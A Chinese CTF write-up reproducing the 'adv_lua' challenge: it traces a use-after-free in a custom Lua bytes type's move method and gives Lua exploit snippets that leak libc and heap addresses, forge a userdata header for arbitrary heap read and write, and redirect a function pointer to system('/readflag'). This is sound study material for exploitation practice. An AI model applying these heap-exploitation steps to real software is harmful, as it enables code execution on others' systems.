CTF特训日记day7

复现华为杯研究生国赛的adv_lua题目
在这里插入图片描述

从题目描述来看,漏洞应该和bytearray相关

用IDA逆向一下然后直接字符串搜索bytearray
在这里插入图片描述
只有这里有bytearray字样,继续查找交叉引用:
在这里插入图片描述
可以看到一系列方法,显然都是为bytearray所注册的吗,刚才我们看到的函数是来自__tostring

在这里插入图片描述
最终追溯到具体的数据类型是bytes,上网搜索了一下,发现原来lua本来并没有这个bytes数据结构,所以也许这是作者自己加进去的一个数据结构,所以需要对数据结构中的几个方法进行漏洞分析。

在move方法中
在这里插入图片描述

程序首先获取两个参数,分别为dst和src,其本意为free掉dst本来指向的内存,然后将src的内存指针给dst处,最后将src指针归零。从而完成move操作,但是当dst和src指向相同的一块内存A时,操作则变成了先是释放A,然后让src不再指向A了,再让dst指向A,从而在dst处形成了一个悬垂指针,即发生了UAF。

接下来做个小测试,写出读写指定地址的函数来,试一试能不能读取到UAF后内存中的敏感信息。

barr = bytes.new(1)

function get_int64(obj, off)
    res = 0
    for i=0,7,1 do
        res = res + (obj.get(obj, i+off) << (i*8))
    end
   return res;
end

function set_int64(obj, off, val)
    --print(val)
    for i=0,7,1 do
        tmp = (math.floor(val) >> i*8) & 0xff
        obj.set(obj, i+off, tmp)
    end
end
print(barr.move(barr,barr))

发现double free了。。。
在这里插入图片描述

好消息是,src和dst指向同一块地址雀食有问题,坏消息是,问题好像有点大。

没关系我们先记下这里的漏洞,然后继续分析数据类型的方法,再来看看new方法
在这里插入图片描述

对于new方法上面有一些解析数字的就略过了,直接看这里,首先会有一个0x10大小的userdatauv头部(从内存中来看实际上是0x30大小),然后前八字节装size,后八字节装分配到的address,这里注意意见事情,它malloc之后是没有memset的,所以意味着我们也许可以进行一些地址上的泄露。

注:后续的所有操作均在ubuntu22的机器上进行,不额外进行其他libc版本的适配工作了。

申请个大堆释放到unsortedbin里,然后申请出来,可以看到由于new的时候非常的干净没有任何附加值,所以libc地址已经进到chunk里了,接下来直接打印出来就行,堆地址同理。
在这里插入图片描述

a = bytes.new(0x430)
b = bytes.new(0x20)
a.move(a,b)
c = bytes.new(0x20)
libcbase=get_int64(c,0)-0x219ce0
c.move(c,a)
c = bytes.new(0x20)
heapbase=(get_int64(c,0)<<12)-0x600
print(string.format("[+] libcbase address is 0x%x", libcbase))
print(string.format("[+] heapbase address is 0x%x", heapbase))

在这里插入图片描述

进行到获取堆地址这里还是非常轻松的,接下来就要考虑如何控制程序执行流,作者在描述中写的非常清楚,不需要进行其他操作,只要能执行/readflag就可以,也就是说能够成功构造system(‘/readflag’)即可,现在system已经有了,还剩下两点需要考虑,一是如何控制执行流,二是如何获取’/readflag’字符串。

对于控制程序执行流,首先需要构造任意地址写原语,到这里就不得不祭出之前在move中找到的漏洞了,现在似乎必须弄清楚为什么会double free了,明明我们逆向出的它是个UAF,通过调试发现,原来是程序结束的时候会将用到的内存都释放掉,但是之前这里是个UAF,并且程序还直接结束了没有进行后续的处理,所以最后显示出来的是个double free,也是有点无语哈哈哈哈。

所以我们还是可以直接将其作为UAF来使用的,另外就是这个set和get都有这么一个函数卡着我们:
在这里插入图片描述
其作用大致就是在读写之前会检查一下那个0x30大小的堆头,里面存放着size和address的那个东西,检查size是不是过大,以及地址是不是合法等等,比如这里有一个条件是v2>>40-85不能大于等于2,这意味着什么呢

>>> hex(87<<40)
'0x570000000000'
>>> 

即我们不能通过UAF申请到libc上的地址了。还有其他一些类似的限制,导致我们能够选择的路并不多,修改存在于堆上的函数指针是一条路。

通过大量打印堆上的数据能够发现,有很多函数的table是直接存放于堆上的。
在这里插入图片描述
看了一圈别的地方的表上都有函数名,只有这个解析不出来
在这里插入图片描述
大概率这里就是作者自己添加的数据结构所注册的函数表了。现在尝试通过UAF申请到函数表上并将其修改。

a=bytes.new(0x20)
a=bytes.new(0x20)
a=bytes.new(0x20)
a.move(a,a)
set_int64(a,0,0x6161616161616161)

从结果可以看到UAF是完全ok的,只要我程序不跑完是不会发生double free的。
在这里插入图片描述

直接申请到0x3870的内存可能需要一定的堆风水,但是这里别忘了我们是UAF,如果我们申请出一个大小和堆头结构一样大的chunk,free掉它获取悬垂指针以后再申请一个正常的chunk,就可以直接控制某个byte的堆头结构,然后修改其0x28偏移处的address,就可以无需任何堆风水直接进行任意堆地址的get和set。

a=bytes.new(0x30)
a=bytes.new(0x30)
a=bytes.new(0x30)
a=bytes.new(0x30)
a=bytes.new(0x30)
a=bytes.new(0x30)
a=bytes.new(0x30)
a=bytes.new(0x30)

a.move(a,a)
b=bytes.new(0xb8)
set_int64(a,0x28,target)

set_int64(b,0,0x6161616161616161)

在这里插入图片描述
成功修改堆头数据的address字段为target
尝试将函数指针修改为system

在这里插入图片描述

可以看到这里已经成功将函数指针修改为system

在这里插入图片描述

经过尝试发现是有一定概率执行到system函数的,最后的一个问题就是如何控制rdi参数。可以看到每次调用函数,rdi都会指向堆上的一个固定偏移的地方,应该是某个固定的结构体,我们可以通过相同的手法,将target改到这个堆上,然后直接修改指定位置为/readflag字符串。

在这里插入图片描述

set_int64(a,0x28,heapbase+0x2a0)
set_int64(b, 0x8, 0x616c66646165722f)
set_int64(b, 0x10, 0x67)

最终成功执行了/readflag函数
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/223838.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Xilinx FPGA平台DDR3设计详解(三):DDR3 介绍

本文介绍一下常用的存储芯片DDR3&#xff0c;包括DDR3的芯片型号识别、DDR3芯片命名、DDR3的基本结构等知识&#xff0c;为后续掌握FPGA DDR3的读写控制打下坚实基础。 一、DDR3芯片型​号 电路板上的镁光DDR3芯片上没有具体的型号名。 ​如果想知道具体的DDR3芯片型号&#…

电力智慧运维系统

电力智慧运维系统是以提高用户侧电力运行安全&#xff0c;降低运维成本为目标&#xff1b;采用智能化运维管理工具—“电易云”&#xff0c;帮助企业建立电力运维体系全方位的信息化、数字化平台&#xff0c;实现设备运行的数字化在线监控与线下维护处理的有机融合&#xff0c;…

【海思SS528 | VO】MPP媒体处理软件V5.0 | VO模块编程总结

&#x1f601;博客主页&#x1f601;&#xff1a;&#x1f680;https://blog.csdn.net/wkd_007&#x1f680; &#x1f911;博客内容&#x1f911;&#xff1a;&#x1f36d;嵌入式开发、Linux、C语言、C、数据结构、音视频&#x1f36d; &#x1f923;本文内容&#x1f923;&a…

Netty中Channel的isWritable方法理解

目录 初见 深入 需要注意 对待超SIZE情况开源项目怎么做 1、seata中 2、SUMMER中 3、一些资料中 总结 初见 以下是包中注释 Returns true if and only if the I/O thread will perform the requested write operation immediately. Any write requests made when t…

如何解决syntaxerror: more than 255 arguments 报错

如何解决syntaxerror: more than 255 arguments 报错 问题背景解释解决方案 问题背景 今天拼接特征的时候&#xff0c;突然代码报错syntaxerror: more than 255 arguments &#xff0c;看了一下感觉这个报错非常有意思&#xff0c;估计平时也是没机会碰到&#xff0c;和大家分…

线程基础介绍

什么是线程&#xff1f; linux内核中是没有线程这个概念的&#xff0c;而是轻量级进程的概念&#xff1a;LWP。一般我们所说的线程概念是C库当中的概念。 1.1线程是怎样描述的&#xff1f; 线程实际上也是一个task_struct&#xff0c;工作线程拷贝主线程的task_struct&#…

推出ASM2824 PCIe交换机,预计M.2插槽将增加,E3SB40E00004EE、E2SB40E00000JE 40MHz晶振

一、ASM2824 PCIe交换机&#xff0c;预计M.2插槽将增加 ASM2824 PCI-Express Gen 3.0 x24交换机采用PCI-Express 3.0 x8&#xff0c;并提供四个PCI-Express 3.0 x4连接&#xff0c;其结构为PLX PEX8747的一半。从理论上讲&#xff0c;这将允许主板设计人员从英特尔Z390芯片组的…

C++类和对象——(8)类的组合

归纳编程学习的感悟&#xff0c; 记录奋斗路上的点滴&#xff0c; 希望能帮到一样刻苦的你&#xff01; 如有不足欢迎指正&#xff01; 共同学习交流&#xff01; &#x1f30e;欢迎各位→点赞 &#x1f44d; 收藏⭐ 留言​&#x1f4dd; 人生就像骑单车&#xff0c;想保持平衡…

香港科技大学广州|机器人与自主系统学域博士招生宣讲会—北京专场!!!(暨全额奖学金政策)

在机器人和自主系统领域实现全球卓越—机器人与自主系统学域 硬核科研实验室&#xff0c;浓厚创新产学研氛围&#xff01; 教授亲临现场&#xff0c;面对面答疑解惑助攻申请&#xff01; 一经录取&#xff0c;享全额奖学金1.5万/月&#xff01; 时间&#xff1a;2023年12月09日…

Python实现广义线性回归模型(statsmodels GLM算法)项目实战

说明&#xff1a;这是一个机器学习实战项目&#xff08;附带数据代码文档视频讲解&#xff09;&#xff0c;如需数据代码文档视频讲解可以直接到文章最后获取。 1.项目背景 广义线性模型(Generalized Linear Model&#xff0c;简称GLM)是一种广泛应用于回归分析和分类问题的统…

MySql概述及其性能说明

MySQL是一种开源的关系型数据库管理系统&#xff0c;由瑞典MySQL AB公司开发&#xff0c;现属于Oracle公司。MySQL是最流行的开源数据库之一&#xff0c;被广泛地应用于Web开发中。MySQL提供了一个高度稳定可靠的数据存储解决方案&#xff0c;同时也可以很容易地跨平台运行。My…

前端十几年后的变迁:从代码编织者到创新驱动者

十几年前的前端开发&#xff0c;是一个被大多数人忽视的领域。那时的网页设计简陋&#xff0c;功能单一&#xff0c;前端开发的工作也相对简单。然而&#xff0c;随着科技的发展和互联网的普及&#xff0c;前端开发已经从一个边缘角色成长为一个关键的创新驱动力。那么&#xf…

6.1810: Operating System Engineering 2023 <Lab3: page tables>

一、本节任务 实验环境&#xff1a; 二、要点 如何防止程序破坏内核或其他进程空间&#xff1f;隔离地址空间&#xff0c;进程只能读写自己的内存空间。 在保证隔离的同时&#xff0c;如何将多个地址空间复用到一个物理内存上&#xff1f;虚拟内存/页表。操作系统通过页表来为…

Bert4keras相关环境安装

1. 创建虚拟环境&#xff0c;先安装cudatoolkit和cudnn cudatoolkit版本不对容易报so库找不到的错。 具体安装参考&#xff1a;在conda虚拟环境中安装cuda和cudnn&#xff0c;解决pip install or python setup.py install 将安装包安装到全局环境中的问题&#xff08;1.2部分&…

有源功率因数校正电路的设计(论文+仿真)

1. 系统设计 本文围绕有源功率因数校正电路的设计而展开&#xff0c;拟以BOOST的拓扑结构进行有源功率因数校正电路的搭建&#xff0c;通过不同电流模式的Boost变换电路实际应用及其分析&#xff0c;能够总结最优的解决设计方案&#xff0c;在方案建立的基础之上&#xff0c;通…

企业数字档案馆室建设指南

数字化时代&#xff0c;企业数字化转型已经成为当下各行业发展的必然趋势。企业数字化转型不仅仅是IT系统的升级&#xff0c;也包括企业内部各种文件、档案、合同等信息的数字化管理。因此&#xff0c;建设数字档案馆室也变得尤为重要。本篇文章将为您介绍企业数字档案馆室建设…

华为鸿蒙爆发真实力!原生应用媲美iOS,使用流畅度将提升20至30%

随着华为鸿蒙原生应用开发计划的启动&#xff0c;一场席卷全球的科技浪潮正在涌动。鸿蒙生态的快速发展&#xff0c;吸引了无数企业和开发者的关注&#xff0c;他们纷纷拥抱这个新兴的生态系统&#xff0c;共同构建一个更加繁荣的鸿蒙世界。 华为鸿蒙原生应用开发计划引爆全球…

【计算机二级MS Office】word(上)

这里写目录标题 文件选项卡保存和另存为属性检查文档 开始选项卡字体更改字体和字号设置中文和英文为两种不同字体的快捷方式介绍其余图标文本效果突出颜色如何挑选字体颜色字符底纹带圈字符字体对话框&#xff08;隐藏&#xff09; 段落 插入选项卡设计选项卡布局选项卡引用选…

Ribbon 饥饿加载

Ribbon默认是采用懒加载&#xff0c;即第一次访问时才会去创建LoadBalanceClient&#xff0c;请求时间会很长而饥饿加载则会在项目启动时创建&#xff0c;降低第一次访问的耗时&#xff0c;通过下面配置开启饥饿加载: 一、懒加载 Ribbon 默认为懒加载即在首次启动Application…

妈妈和老婆掉进水里,孟子认为先救老婆是禽兽

妈妈和老婆同时掉进水里先救谁&#xff1f; 多数男人不敢回答&#xff0c;怕得罪老婆。孟子认为&#xff0c;必须先救妈妈。因为父母都照顾不好&#xff0c;是不孝。先救妈妈&#xff0c;再救老婆。 中国人的信仰是天&#xff0c;以及孔孟之道。中国人不信宗教。 孟子&#x…